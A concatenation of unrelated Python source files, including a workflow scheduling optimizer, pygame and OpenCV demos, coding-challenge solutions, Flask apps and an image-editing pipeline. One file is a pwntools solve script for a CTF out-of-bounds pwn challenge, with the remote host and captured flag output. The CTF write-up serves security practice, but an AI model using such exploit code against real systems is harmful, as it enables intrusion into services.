            guess = current_progress + delta

            self.log.info("%s next-eri: %.2f because it failed on %s %d times" % (
                desc.reference, guess, date_last_stopped, decision.attempts
            ))
            return guess

    def _event_run_stop(self, stage, component, when, exit_code):
        with self.lock:
            self.modelist.event_run_stop(self.experiment_name, stage, component, when, exit_code)

            desc = self.modelist.descriptors[self.experiment_name][stage][component]

            if desc.is_repeat:
                decision = self.decisions[desc]
                if exit_code == 0:
                    self.log.info("It took %d attempts before %s succeeded" % (
                        decision.attempts, desc.reference
                    ))

                    # VV: We have just completed successfully, reset the last decision
                    decision.is_dirty = True
                    decision.target_effective_repeat_interval = None
                    decision.attempts = 0
                else:
                    decision.attempts += 1
                metadata = self.engine_metadata[desc]
                if metadata.is_active(when):
                    # VV: Given that we've just succeeded/failed pick the next repeat-interval
                    target_eri = self._decide_next_effective_repeat_interval(desc, metadata.when_run_started,
                                                                             when, exit_code)
                    assert target_eri is not None
                    decision.target_effective_repeat_interval = target_eri
                else:
                    self.log.info("%s is not a candidate for optimization" % desc.reference)

    def event_finished_completely(self, stage, component, when):
        entry = [
            stage, component,
            'finished_completely',
            when,
            None # VV: No payload
        ]

        with self.lock_engine_meta_data:
            self.engine_metadata_pending.append(entry)

    def _event_finished_completely(self, stage, component, when):
        with self.lock:
            desc = self.modelist.descriptors[self.experiment_name][stage][component]
            self.engine_metadata[desc].went_inactive_at = when
            desc.is_active = False
            self.log.info("Optimizer will now stop optimizing %s (event received at: %s)" % (
                desc.reference, when
            ))

    def optimize(self, date_now):
        with self.lock:
            # self.log.info("Digesting pending engine events")
            if self._digest_events():
                # VV: Invalidate all past decisions because we've just got new information
                for desc in self.decisions:
                    decision = self.decisions[desc]
                    metadata = self.engine_metadata[desc]
                    decision.is_dirty = (decision._last_recorded_times_run != metadata.times_run)

                self.log.info("Running the Optimizer")
                self._optimize_kernel(date_now)
                self.log.info("Optimizer done running")

    def _digest_events(self):
        # type: () -> int
        with self.lock_engine_meta_data:
            pending = self.engine_metadata_pending[:]
            self.engine_metadata_pending = []

        processed = len(pending)

        for event in pending:
            stage, component_name, event_name, when, payload = event
            self.log.info("Digesting %s for %s.%s from %s payload: %s" % (
                event_name, stage, component_name, when, payload
            ))
            if event_name == 'initialized':
                (backend,
                 executable,
                 repeat_interval,
                 ranksPerNode, numberProcesses, numberThreads,
                 walltime,
                 date_initialized,
                 producer_references,
                 exploit_chance,
                 exploit_target,
                 explore_low,
                 explore_high
                 ) = payload

                self._register_component(
                    stage, component_name,
                    backend,
                    executable,
                    repeat_interval,
                    ranksPerNode, numberProcesses, numberThreads,
                    walltime,
                    date_initialized,
                    producer_references,
                    exploit_chance,
                    exploit_target,
                    explore_low,
                    explore_high
                )
            elif event_name == 'queue_start':
                self._event_queue_start(stage, component_name, when)
            elif event_name == 'queue_stop':
                self._event_queue_stop(stage, component_name, when)
            elif event_name == 'run_start':
                self._event_run_start(stage, component_name, when)
            elif event_name == 'run_stop':
                self._event_run_stop(stage, component_name, when, payload)
            elif event_name == 'finished_completely':
                self._event_finished_completely(stage, component_name, when)
            else:
                assert False

        return processed

    def _explore_desc(self, desc, date_now, factor):
        # type: (ComponentDescriptor, datetime.datetime, float) -> Optional[Tuple[float, float]]

        # VV: Use factor to search for larger/smaller effective-repeat-intervals
        #     (small factors will steer optimiser towards looking for a smaller
        #     effective-repeat-interval)

        ret = self._target_effective_repeat_interval(desc, date_now, factor)

        if ret is not None:
            repeat_interval, eri = ret
            execute_at = self.engine_metadata[desc].last_run_stopped + datetime.timedelta(seconds=repeat_interval)

            self.log.debug("Explore ri:%.2f, eri:%.2f*%.2f for %s at %s" % (
                repeat_interval, eri, factor, desc.reference, execute_at
            ))

            return repeat_interval, eri

        return None

    def _exploit_desc(self, desc, date_now, factor):
        # type: (ComponentDescriptor, datetime.datetime, float) -> Optional[Tuple[float, float]]
        ret = self._target_effective_repeat_interval(desc, date_now, factor)

        if ret is not None:
            repeat_interval, eri = ret
            execute_at = self.engine_metadata[desc].last_run_stopped + datetime.timedelta(seconds=repeat_interval)

            self.log.debug("Exploit ri:%.2f, eri:%.2f*%.2f for %s at %s" % (
                repeat_interval, eri, factor, desc.reference, execute_at
            ))

            return repeat_interval, eri

        return None

    def _target_effective_repeat_interval(self, desc, date_now, factor, backend_delay_offset=15):
        # type: (ComponentDescriptor, datetime.datetime, float, float) -> Optional[Tuple[float, float]]
        # VV: Returns (suggested repeat interval, expected effective-repeat-interval)

        # VV: Use factor to search for larger/smaller effective-repeat-intervals
        #     (small factors will steer optimiser towards looking for a smaller
        #     effective-repeat-interval)

        metadata = self.engine_metadata[desc]  # type: EngineMetaData
        decision = self.decisions[desc]

        alive_producers = [p for p in self.producers_of[desc] if self.engine_metadata[p].is_active(date_now)]

        eff_rep_int = decision.target_effective_repeat_interval
        prod_info = self.modelist.compute_effective_delta_time(desc, date_now)

        if eff_rep_int is None:
            self.log.critical("%s does not have a target effective repeat interval" % desc.reference)

        assert eff_rep_int is not None

        if not alive_producers:
            # VV: All of the producers are done, we can't make any more choices
            metadata.register_next_delay(None)
            self.log.info("All producers of %s have finished. Will revert to default repeat-interval" % (
                desc.reference
            ))

            metadata.went_inactive_at = date_now
            desc.is_active = False
            return metadata.original_delay, eff_rep_int

        if metadata.last_run_stopped is None:
            # VV: This engine has never run before we can't optimise its repeat-interval if it's not
            #     currently attempting to repeat
            return None

        current_delay = (date_now - metadata.last_run_stopped).total_seconds()
        current_progress = prod_info['prod-time-succeed-max']

        time_succeed = prod_info['time-succeed']  # type: Dict[ComponentDescriptor, float]
        prod_running = prod_info['prod-running']  # type: Dict[ComponentDescriptor, bool]

        # VV: Some backends (e.g. LSF) introduce significant delays so we can't know for sure
        #     whether a producer is actually running right now. Set the repeat interval to
        #     expire 30 seconds after what we now believe to be adequate time to wait for the
        #     producers to execute for. This means that the Optimizer puts an artificial lower
        #     threshold to the effective-repeat interval. The advantage is that it will make
        #     fewer mistakes (as in less faild-executions). If no message arrives within the
        #     next K seconds then the optimizer will assume that everything is fine. This is
        #     best used for RepeatingEngines because plain Engines will likely not fail.
        #     K depends on a) the backend, b) the priority of the job, for the time being
        #     we'll use an optimistic delay of 15 seconds.

        if current_progress == 0 or (current_progress <= eff_rep_int * factor) and prod_running:
            # VV: Our model suggests that we should not execute right now but some of our
            #     producers are running right now, let's pick a time in the future where
            #     our prod-time-succeed-max will be good-enough

            # VV: Find the producer with the highest prod-succeed-time which is currently running
            pair_succeed = [(p, time_succeed[p]) for p in list(prod_running.keys())]
            pair_succeed_sorted = sorted(pair_succeed, key=lambda p: p[1], reverse=True)
            top_prod, top_succeed_time = pair_succeed_sorted[0]

            # VV: If it's a repeating engine it might fail, but we expect that Source engines never fail
            offset = backend_delay_offset if top_prod.is_repeat else 0.0

            remaining_time = offset + eff_rep_int * factor - top_succeed_time

            # VV: TODO At this point we could predict WHICH of the producers will actually execute for long
            #     enough so that we reach the desired eff_rep_int (using the execute models)

            next_repeat = remaining_time
            self.log.debug("%s max producer is %s with %.2f remaining (progress:%.2f), "
                          "repeat-interval=%.2f (eri: %.2f*%.2f)" % (
                              desc.reference, top_prod.reference,
                              remaining_time, top_succeed_time,
                              next_repeat, eff_rep_int, factor
            ))

            return next_repeat + current_delay, eff_rep_int
        elif current_progress >= eff_rep_int * factor:
            # VV: looks like we should be already running, make it so we start immediately-ish
            self.log.debug("%s should be already repeating. Progress: %.2f, eri: %.2f*%.2f" % (
                desc.reference, current_progress, eff_rep_int, factor,
            ))

            # VV: If we've already thought of some repeat-interval then just use that one
            if decision.next_repeat_interval() is not None:
                return decision.next_repeat_interval(), eff_rep_int
            # VV: If this is the first time we are deciding the repeat interval then set it equal to
            #     the time that it would have been ideal to start executing
            return current_delay - (current_progress - eff_rep_int * factor), eff_rep_int
        else:
            assert not prod_running
            # VV: Producers are not running so it would be OK to assume that we can't run either
            #     but let's just pick a huge repeat-interval if nothing changes till that time we'll
            #     just do a bit of exploring in about 4 hours from the last time it executed
            #     or 10 * repeat_interval whichever comes further in the future. See comment
            #     in _guess_effective_repeat_interval for more information on why this is not a bad idea
            next_repeat = current_delay + max(4 * 3600, 10 * desc.repeat_interval)
            self.log.debug("%s producers are not running. repeat-interval:%.2f, eri: %.2f*%.2f" % (
                desc.reference, next_repeat, eff_rep_int, factor
            ))
            return next_repeat, eff_rep_int

    def _optimize_kernel(self, date_now):
        for desc in self.active_ordered:
            if desc.is_active and desc.is_repeat:
                self.optimize_single(desc, date_now)

    def optimize_single(self, desc, date_now):
        # type: (ComponentDescriptor, datetime.datetime) -> Optional[float]
        with self.lock:
            metadata = self.engine_metadata[desc]

            decision = self.decisions[desc]

            if metadata.last_run_stopped is None or decision.target_effective_repeat_interval is None:
                self.log.debug("Cannot decide because last_run_stopped: %s "
                              "and target_effective_repeat_interval %s "
                              "for %s.%s" %(
                        metadata.last_run_stopped, decision.target_effective_repeat_interval, desc.stage, desc.component
                ))
                return None

            # if producers_dirty or decision.is_dirty:
            if decision.should_exploit(metadata):
                next_repeat_interval, eri = self._exploit_desc(desc, date_now,
                                                               decision.exploit_target_factor())
            else:
                next_repeat_interval, eri = self._explore_desc(desc, date_now,
                                                               decision.explore_target_factor())

            self.log.debug("Came up with decision %s for %s.%s" % (
                next_repeat_interval, desc.stage, desc.component
            ))

            if next_repeat_interval is not None:
                decision.register_choice(metadata.last_run_stopped
                                         + datetime.timedelta(seconds=next_repeat_interval),
                                         metadata.last_run_stopped)

        return decision.next_repeat_interval()

    def suggest_next_delay(self, stage, component, date_now):
        # type: (str, str, datetime.datetime) -> Optional[float]
        with self.lock:
            try:
                desc = self.modelist.descriptors[self.experiment_name][stage][component]
            except KeyError as e:
                # VV: Haven't had the chance to digest the event message yet, this is not an error
                self.log.warning("I just got asked to Optimize an unknown Engine %s.%s" % (
                                 stage, component
                             ))
                return None

            return self.optimize_single(desc, date_now)


import pygame as pg
import sys
import cv2
from pygame.locals import *
from avatar import Avatar

# Inits
pg.init()

# File Paths
xmlName = './resources/haarcascade_frontalface_default.xml'

# Need cascade classifier to read the haarcascade xml
cascade = cv2.CascadeClassifier(xmlName)

# Setup pygame window and webcam
W, H = 700, 500
screen = pg.display.set_mode((W, H))
webcam = cv2.VideoCapture(0)

# Load images
backgroundImg = pg.image.load("./resources/background.jpeg").convert()
faceImg = pg.image.load("./resources/face.png").convert_alpha()
bodyImg = pg.image.load("./resources/body.png").convert_alpha()

# Initialize Avatar
avatar = Avatar(screen, faceImg, bodyImg)
avatar.setAllBody(W//2, 80, 320, 320)
avatar.setAllFace(W//2, 60, 300, 300)
avatar.setAnchor(W//2, H)

# Some storage
faceX, faceY = W//2, H
detection = False
clock = pg.time.Clock()

# Main Loop
while True:
    # Use Webcam to detect face
    unusedVar, cvImg = webcam.read()
    grayscale = cv2.cvtColor(cvImg, cv2.COLOR_BGR2GRAY)
    faces = cascade.detectMultiScale(grayscale, 1.1, 15)

    # Draw Background
    screen.blit(backgroundImg, (0,0))

    # Draw Avatar
    clock.tick(30)
    for (x,y,w,h) in faces:
        detection = True
        faceX, faceY = -x, y
        avatar.draw(faceX, faceY)

    # Draw avatar's last position on loss of detection
    if not detection:
        avatar.draw(faceX, faceY)

    # Visual representation of the anchor point
    # pg.draw.rect(screen, (0,255,0), (0, 0, W, H))
    pg.draw.circle(screen, (0,255,0), (avatar.anchorX, avatar.anchorY), 10)

    # Update Display
    pg.display.update()

    detection = False

    # check for exit
    for event in pg.event.get():
        if event.type == pg.QUIT:
            running = False
            webcam.release()
            sys.exit()


def solution(id_list, report, k):
    answer = [0] * len(id_list)
    id_report = {id: [] for id in id_list}
    report = list(set(report))
    for i in report:
        id_report[i.split()[1]].append(i.split()[0])

    for item in id_report.values():
        if len(item) >= k:
            for j in item:
                answer[id_list.index(j)]+=1
    return answer

프로그래머스/lv1/92334. 신고 결과 받기/신고 결과 받기.py


import cv2
import time

cv2.namedWindow('frame')

for name, tracker in (('KCF', cv2.TrackerKCF_create),
                      ('MIL', cv2.TrackerMIL_create),
                      ('TLD', cv2.TrackerTLD_create)):
    tracker = tracker()
    initialized = False

video = cv2.VideoCapture('../traffic.mp4')
bbox = (878, 266, 1153-878, 475-266)

while True:
    t0 = time.time()
    ok, frame = video.read()
    if not ok:
        break

    if initialized:
        tracked, bbox = tracker.update(frame)
    else:
        cv2.imwrite('/tmp/frame.png', frame)
        tracked = tracker.init(frame, bbox)
        initialized = True

    fps = 1 / (time.time() - t0)
    cv2.putText(frame, 'tracker: {}, fps: {:.1f}'.format(name, fps),
                    (10, 50), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 0, 0), 2)
    if tracked:
        bbox = tuple(map(int, bbox))
        cv2.rectangle(frame, (bbox[0], bbox[1]),
            (bbox[0]+bbox[2], bbox[1]+bbox[3]),
            (0, 255, 0), 3)

    cv2.imshow('frame', frame)
    if cv2.waitKey(3) == 27:
        break

cv2.destroyAllWindows()


from setuptools import setup
from pathlib import Path
import io

current_dir = Path(__file__).parent
long_description = io.open(current_dir / "README.md", mode="r", encoding="utf-8").read()

setup(
  name = 'dicom_mask',
  packages = ['dicom_mask'],
  version = '0.0.22',
  license = 'BSD',
  description = 'Export structure from dicom to numpy binary mask',
  long_description_content_type='text/markdown',
  long_description=long_description,
  author = 'Abraham George Smith',
  author_email = 'abe@abesmith.co.uk',
  url = 'https://github.com/Abe404/dicom_mask',
  download_url = 'https://github.com/Abe404/dicom_mask/archive/refs/tags/0.0.20.tar.gz',
  keywords = ['DICOM', 'NUMPY', 'RTSRUCT', 'MASK'],
  install_requires=[
      "dicompyler-core ==0.5.5",
      "numpy ==1.21.0",
      "pydicom ==2.2.0",
      "scikit-image ==0.18.2"
  ],
  classifiers=[
    'Intended Audience :: Developers',
    'Programming Language :: Python :: 3',
    'License :: OSI Approved :: BSD License',
    'Operating System :: OS Independent'
  ]
)


# Ball directions:
# Left, Right,
# Upleft, Upright,
# Downleft, Downright
import pygame

WIDTH = 800
HEIGHT = 600

pygame.init()
screen = pygame.display.set_mode((WIDTH, HEIGHT))
pygame.display.set_caption("Pong!")

game_over = False

white = (255, 255, 255)
black = (0, 0, 0)

player_width = 10
player_height = 70

score = [0, 0]

# Player directions:
# Up, down
left_player_pos = [50, 100]
left_player_direction = ""
right_player_pos = [750, 100]
right_player_direction = ""
speed = 2

ball_size = 50
ball_pos = [100, 100]
ball_speed = 1
ball_direction = "left"

def update_ball_pos(direction, pos):
	if direction == "left":
		pos[0] -= ball_speed
	elif direction == "right":
		pos[0] += ball_speed

def detect_collision(player, ball):
    p_x = player[0]
    p_y = player[1]
    b_x = ball[0]
    b_y = ball[1]

    if (b_x >= p_x and b_x < (p_x + player_width)) or (p_x >= b_x and p_x < (b_x + ball_size)):
        if (b_y >= p_y and b_y < (p_y + player_width)) or (p_y >= b_y and p_y < (b_y + ball_size)):
            return True

def give_points():
	pass # For now

while not game_over:
	keys = pygame.key.get_pressed()
	for event in pygame.event.get():
		if event.type == pygame.QUIT:
			game_over = True

	if keys[pygame.K_w]:
		left_player_pos[1] -= speed
		left_player_direction = "up"

	if keys[pygame.K_s]:
		left_player_pos[1] += speed
		left_player_direction = "down"

	if keys[pygame.K_UP]:
		right_player_pos[1] -= speed
		right_player_direction = "up"

	if keys[pygame.K_DOWN]:
		right_player_pos[1] += speed
		right_player_direction = "down"

	if left_player_pos[1] < 0:
		left_player_pos[1] = 0

	if left_player_pos[1] > HEIGHT - player_height:
		left_player_pos[1] = HEIGHT - player_height

	if right_player_pos[1] < 0:
		right_player_pos[1] = 0

	if right_player_pos[1] > HEIGHT - player_height:
		right_player_pos[1] = HEIGHT - player_height

	if ball_pos[0] > WIDTH:
		score[0] += 1

	if ball_pos[0] < 0:
		score[1] += 1

	if detect_collision(left_player_pos, ball_pos):
		ball_direction = "right"

	if detect_collision(right_player_pos, ball_pos):
		ball_direction = "left"

	update_ball_pos(ball_direction, ball_pos)
	screen.fill(black)
	pygame.draw.rect(screen, white, (left_player_pos[0], left_player_pos[1], player_width, player_height))
	pygame.draw.rect(screen, white, (right_player_pos[0], right_player_pos[1], player_width, player_height))
	pygame.draw.rect(screen, white, (ball_pos[0], ball_pos[1], ball_size, ball_size))
	pygame.display.update()

pygame.quit()


t=int(input())
while t>0:
    s1=input()
    s2=s1
    s1=list(s1)
    s2=list(s2)
    s2.reverse()
    check=True
    check=True
    for i in range(1, len(s1)):
        if abs(ord(s1[i])-ord(s1[i-1]))!=abs(ord(s2[i])-ord(s2[i-1])):
            check=False
    if check==False: print("NO")
    else: print("YES")
    t-=1


#!/usr/bin/env python3
from flask import Flask
from flask import request
import os
import json
import requests

app = Flask(__name__)
newHeaders = {'Content-type': 'application/json', 'Accept': 'text/plain'}
messageBody = {
     "@type": "MessageCard",
     "@context": "http://schema.org/extensions",
     "title": "Teams Webhook - Link to GitHub",
     "summary": "Created New Task",
     "sections": [
        {
       "activityTitle": "Python Launch WebHook",
       "activitySubtitle": "07/07/2020",
       "activityImage":
"https://fr.wikipedia.org/wiki/H%C3%A9risson#/media/Fichier:2008_Hedgehog_1020932.jpg",
       "facts": [{
             "name": "Description",
             "value": "Incomming Webhook"
         }, {
             "name": "Who",
             "value": "Seb.Goa"
         }, {
             "name": "Status",
             "value": "Envoyer depuis Alpha Centauri"
         }]
        }]
}

teams_url = os.getenv('TEAMS')
@app.route('/', methods=['POST', 'GET'])
def trans():

     ce = request.get_json()
     print(ce.keys())
     messageBody['title'] = ce['title']

     r = requests.post(teams_url,data=json.dumps(messageBody),headers=newHeaders)
     if r.status_code == 200 :
         body = {"message":"sent to teams"}
         response = app.response_class(response=json.dumps(body),status=200,mimetype='application/json')
         return response
     else :
         print("Erreur dans la requete post")
         return 0

if __name__ == '__main__':
     app.run(host='0.0.0.0', port=8080)


# Regular Expressions
# https://www.freecodecamp.org/learn/scientific-computing-with-python/python-for-everybody/regular-expressions
# Regex provides a means of matching text in strings such as certain words or characters of phrases
# Expressions for parsing strings

# Cheat Sheet - https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Cheatsheet

# RegEx in Python
import re

test = 'test string!'
# re.search() can be used like the string find() function
print(re.search('!', test))

# re.search('^String', object)
# this says that if the line starts with 'String' -> like startswith()
if re.search('^test', test):
    print('found')

# Wild card chars
# The dot '.' matches any characters
# The wildcard '*' -> any number of times

print(re.search('^t.*!', test))  # Any line that starts with a t, then followed by any chars, any # of times, ends w/ !

# Fine Tuning matches
# Gets any text that starts with 't' then is proceeded by non-whitespace chars any number of times till it find 't'
print(re.search('^t\S+t', test))  # \S match any non-whitespace char, + -> one or more times, \s -> whitespace

# Matching and Extracting Data
# re.search() -> boolean
# re.findall() -> returns list of matching strings

# Finding Numbers
x = 'My favorite 2 numbers are 13 and 56'
y = re.findall('[0-9]+',
               x)  # [] -> denotes a character class, characters in the range wil be selected, + -> one or more
print(y)  # ['2', '13', '56']

# Extracting Strings
y = re.findall('[AEIOIUaeiou]+',  # This will match uppercase or lowercase vowels
               x)
print(y)

# Greedy matching
x = 'From: using the : character'
y = re.findall('^F.+:', x)  # Because there are two possibilities we get back the larger of the two
print(y)  # ['From: using the :']

# Non-Greedy Matching -> '?'
x = 'From: using the : character'
y = re.findall('^F.+?:' ,x)  # Adding the '?' means that we get the first match it finds
print(y)

# Fine Tuning Extraction
email = 'From finn.lestrange@mail.com Sat Jun 5 2021'
y = re.findall('\S+@\S+' ,email)  # Match non-whitespace followed by, match @ followed by, match non-whitespace
print(y)  # ['finn.lestrange@mail.com']

# Matching vs. Extracting Strings
# by using () instead of [] we can tell it to extract if we match a certain condition
# Parenthesis () are not part of the match -> they tell where to start and stop the extraction
y = re.findall('From (\S+@\S+)', email)
print(y)  # Returns ['finn.lestrange@mail.com'] only if the From is present

# ------------------------
# Practical RegEx Examples
# ------------------------

line = 'From finn.lestrange@mail.com Sat Jun 5 2021'

# Getting Email domain v1
y = re.findall('@([^ ]*)', email)
# Looks through the string until it finds an @ symbol -> match any non-blank char [^ ] -> * match any of them
print(y)  # ['mail.com']

# Getting Email domain v2
y = re.findall('^From .*@([^ ]*)' ,line)
# Start at beginning ^ -> look for 'From'
# ' ' see a space
# .* see any number of characters
# see an @
# ([^ ]*) -> start extracting any non-blank as many times until reaches blank
print(y)  # ['mail.com']

# Escape Chars
# Escapable chars like $ need to be prefixed by a \
x = 'We just got $10.00 for cookies'
y = re.findall('\$[0-9.]+', x)
# Match '$' -> [0-9.] Extract any char 0-9 or '.' -> * any number of times
print(y)  # ['$10.00']


from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug'

BINARY = './oob'
elf  = ELF(BINARY)

if len(sys.argv) > 1 and sys.argv[1] == 'r':
  HOST = "34.71.207.70"
  PORT = 1337
  s = remote(HOST, PORT)
else:
  s = process(BINARY)

s.sendlineafter("Enter the index: ", "-26")

s.sendlineafter("Enter the value: ", str(elf.sym.win))

s.interactive()

'''
mito@ubuntu:~/CTF/Access_Denied_CTF_2022/Pwn_OOB/oob$ python solve.py r
[*] '/home/mito/CTF/Access_Denied_CTF_2022/Pwn_OOB/oob/oob'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 34.71.207.70 on port 1337: Done
[*] Switching to interactive mode
accessdenied{00b_4r3_v3ry_us3ful_r1ght_54a4ce45}
'''


import datetime
import requests
from bs4 import BeautifulSoup
from release_note.model.release_item import ReleaseItem
from release_note.utils.functions import is_version_matched

class PythonRelease():
    def __init__(self):
        pass

    def _parse_month(self, text):
        months = {
            "Jan.": "January",
            "Feb.": "February",
            "March": "March",
            "April": "April",
            "May": "May",
            "June": "June",
            "July": "July",
            "Aug.": "August",
            "Sept.": "September",
            "Oct.": "October",
            "Nov.": "November",
            "Dec.": "December"
        }

        for python_month, month in months.items():
            text = text.replace(python_month, month)
        return text

    def get(self, min_version='', max_version=''):

        response = requests.get("https://www.python.org/downloads/")
        response.raise_for_status()
        tree = BeautifulSoup(response.text, features="html.parser")
        items = []
        for row in tree.select(".download-list-widget")[0].select(".list-row-container li"):

            version = row.select(".release-number")[0].text.replace("Python", "").split()
            if not is_version_matched(version, min_version=min_version, max_version=max_version):
                continue

            release_date = datetime.datetime.strptime(self._parse_month(row.select(".release-date")[0].text), "%B %d, %Y")
            link = row.select(".release-enhancements > a")[0].get("href")
            version = version[0]
            items.append(ReleaseItem(product_name="python",
                        link=link,
                        release_date=release_date,
                        version=version))

        return items


"""
This module runs the Flask application with configured database and blueprint.
"""
import os
from dotenv import load_dotenv
from create_app import create_app, db
from bank_blueprint import bank_blueprint

load_dotenv()

def run_app():
    """
    Initialize and run the Flask application with configured database and blueprint.
    """
    app = create_app({
        "SQLALCHEMY_DATABASE_URI": os.getenv('MAIN_DB_URI'),
        "SQLALCHEMY_TRACK_MODIFICATIONS": True,
    })
    app.register_blueprint(bank_blueprint)

    with app.app_context():
        db.create_all()

    app.run(debug=True)

if __name__ == '__main__':
    run_app()


from .basehandler import BaseHandler

from ppmessage.db.models import ConversationUserData
from ppmessage.db.models import ConversationInfo
from ppmessage.db.models import DeviceUser

from ppmessage.api.error import API_ERR
from ppmessage.core.redis import redis_hash_to_dict
from ppmessage.core.constant import API_LEVEL
from ppmessage.core.constant import CONVERSATION_TYPE
from ppmessage.api.handlers.ppgetorggroupuserlisthandler import single_user

import json
import logging

class PPGetConversationUserListHandler(BaseHandler):
    """
    """
    def _get(self, _app_uuid, _conversation_uuid):
        _redis = self.application.redis
        _key = ConversationUserData.__tablename__ + \
               ".conversation_uuid." + _conversation_uuid
        _uuids = _redis.smembers(_key)

        _users = []
        for _user_uuid in _uuids:
            _user = redis_hash_to_dict(_redis, DeviceUser, _user_uuid)
            if _user == None:
                continue
            _single = single_user(_redis, _user)
            _users.append(_single)

        _r = self.getReturnData()
        _r["list"] = _users
        return

    def initialize(self):
        self.addPermission(app_uuid=True)
        self.addPermission(api_level=API_LEVEL.PPCOM)
        self.addPermission(api_level=API_LEVEL.PPKEFU)
        self.addPermission(api_level=API_LEVEL.PPCONSOLE)
        self.addPermission(api_level=API_LEVEL.THIRD_PARTY_KEFU)
        self.addPermission(api_level=API_LEVEL.THIRD_PARTY_CONSOLE)
        return

    def _Task(self):
        super(PPGetConversationUserListHandler, self)._Task()
        _request = json.loads(self.request.body)
        _app_uuid = _request.get("app_uuid")
        _conversation_uuid = _request.get("conversation_uuid")
        if _conversation_uuid == None or _app_uuid == None:
            self.setErrorCode(API_ERR.NO_PARA)
            return
        self._get(_app_uuid, _conversation_uuid)
        return


import argparse
import os
import copy
import gradio as gr

import numpy as np
import torch
from PIL import Image, ImageDraw, ImageFont

# Grounding DINO
import GroundingDINO.groundingdino.datasets.transforms as T
from GroundingDINO.groundingdino.models import build_model
from GroundingDINO.groundingdino.util import box_ops
from GroundingDINO.groundingdino.util.slconfig import SLConfig
from GroundingDINO.groundingdino.util.utils import clean_state_dict, get_phrases_from_posmap

# segment anything
from segment_anything import build_sam, SamPredictor
import cv2
import numpy as np
import matplotlib.pyplot as plt

# diffusers
import PIL
import requests
import torch
from io import BytesIO
from stable_diffusion_masked_diffedit import StableDiffusionMaskedDiffeditPipeline
from diffusers import DDIMScheduler

# chatgpt
from chatgpt import call_chatgpt

# blip2
from transformers import AutoProcessor, Blip2ForConditionalGeneration

def load_image(image_path):
    # load image
    image_pil = Image.open(image_path).convert("RGB")  # load image

    transform = T.Compose(
        [
            T.RandomResize([800], max_size=1333),
            T.ToTensor(),
            T.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225]),
        ]
    )
    image, _ = transform(image_pil, None)  # 3, h, w
    return image_pil, image

def load_model(model_config_path, model_checkpoint_path, device):
    args = SLConfig.fromfile(model_config_path)
    args.device = device
    model = build_model(args)
    checkpoint = torch.load(model_checkpoint_path, map_location="cpu")
    load_res = model.load_state_dict(clean_state_dict(checkpoint["model"]), strict=False)
    print(load_res)
    _ = model.eval()
    return model

def get_grounding_output(model, image, caption, box_threshold, text_threshold, with_logits=True, device="cpu"):
    caption = caption.lower()
    caption = caption.strip()
    if not caption.endswith("."):
        caption = caption + "."
    model = model.to(device)
    image = image.to(device)
    with torch.no_grad():
        outputs = model(image[None], captions=[caption])
    logits = outputs["pred_logits"].cpu().sigmoid()[0]  # (nq, 256)
    boxes = outputs["pred_boxes"].cpu()[0]  # (nq, 4)
    logits.shape[0]

    # filter output
    logits_filt = logits.clone()
    boxes_filt = boxes.clone()
    filt_mask = logits_filt.max(dim=1)[0] > box_threshold
    logits_filt = logits_filt[filt_mask]  # num_filt, 256
    boxes_filt = boxes_filt[filt_mask]  # num_filt, 4
    logits_filt.shape[0]

    # get phrase
    tokenlizer = model.tokenizer
    tokenized = tokenlizer(caption)
    # build pred
    pred_phrases = []
    for logit, box in zip(logits_filt, boxes_filt):
        pred_phrase = get_phrases_from_posmap(logit > text_threshold, tokenized, tokenlizer)
        if with_logits:
            pred_phrases.append(pred_phrase + f"({str(logit.max().item())[:4]})")
        else:
            pred_phrases.append(pred_phrase)

    return boxes_filt, pred_phrases

def show_mask(mask, ax, random_color=False):
    if random_color:
        color = np.concatenate([np.random.random(3), np.array([0.6])], axis=0)
    else:
        color = np.array([30/255, 144/255, 255/255, 0.6])
    h, w = mask.shape[-2:]
    mask_image = mask.reshape(h, w, 1) * color.reshape(1, 1, -1)
    ax.imshow(mask_image)

def show_box(box, ax, label):
    x0, y0 = box[0], box[1]
    w, h = box[2] - box[0], box[3] - box[1]
    ax.add_patch(plt.Rectangle((x0, y0), w, h, edgecolor='green', facecolor=(0,0,0,0), lw=2))
    ax.text(x0, y0, label)

def adjust_encoding_ratio(instructions, feedbacks, cur_encoding_ratio):
    full_instructions = []
    for instruction in instructions:
        full_instruction = '{}. The current encoding ratio is {}.'.format(instruction, cur_encoding_ratio)
        full_instructions.append(full_instruction)

    encoding_ratio = call_chatgpt(full_instructions, feedbacks=feedbacks)

    return encoding_ratio

def maskedit(image_path, user_instructions, is_blip2_description, encoding_ratio, mask_mode):

    # cfg
    config_file = 'GroundingDINO/groundingdino/config/GroundingDINO_SwinT_OGC.py'  # change the path of the model config file
    grounded_checkpoint = 'GroundingDINO/weights/groundingdino_swint_ogc.pth'  # change the path of the model
    sam_checkpoint = 'sam_vit_h_4b8939.pth'
    # image_path = args.input_image
    # user_instructions = args.user_instructions
    # is_blip2_description = args.is_blip2_description
    box_threshold = 0.3
    text_threshold = 0.25
    # encoding_ratio = args.encoding_ratio
    device = 'cuda' if torch.cuda.is_available() else 'cpu'

    # load image
    image_pil, image = load_image(image_path)

    if is_blip2_description:
        blip_processor = AutoProcessor.from_pretrained('Salesforce/blip2-flan-t5-xl')
        blip_model = Blip2ForConditionalGeneration.from_pretrained('Salesforce/blip2-flan-t5-xl', torch_dtype=torch.float16).to(device)

        blip_prompt_1 = "Is this a photo, a painting, a drawing, or other kind of arts?"
        blip_inputs = blip_processor(image_pil, text=blip_prompt_1, return_tensors="pt").to(device, torch.float16)
        generated_ids = blip_model.generate(**blip_inputs, max_new_tokens=20)
        generated_text = blip_processor.batch_decode(generated_ids, skip_special_tokens=True)[0].strip()
        blip_prompt_2 = "{} of".format(generated_text.capitalize())
        blip_inputs = blip_processor(image_pil, text=blip_prompt_2, return_tensors="pt").to(device, torch.float16)
        generated_ids = blip_model.generate(**blip_inputs, max_new_tokens=20)
        description = blip_processor.batch_decode(generated_ids, skip_special_tokens=True)[0].strip()
        description = "{} {}.".format(blip_prompt_2, description)
        descriptions = [description]
        print('Blip2 description: {}'.format(description))
    else:
        descriptions = None
    instructions = [user_instructions]
    det_prompt, prompt_inversion, prompt, _ = call_chatgpt(instructions, descriptions=descriptions)
    print('Segmentation prompt: {}'.format(det_prompt))
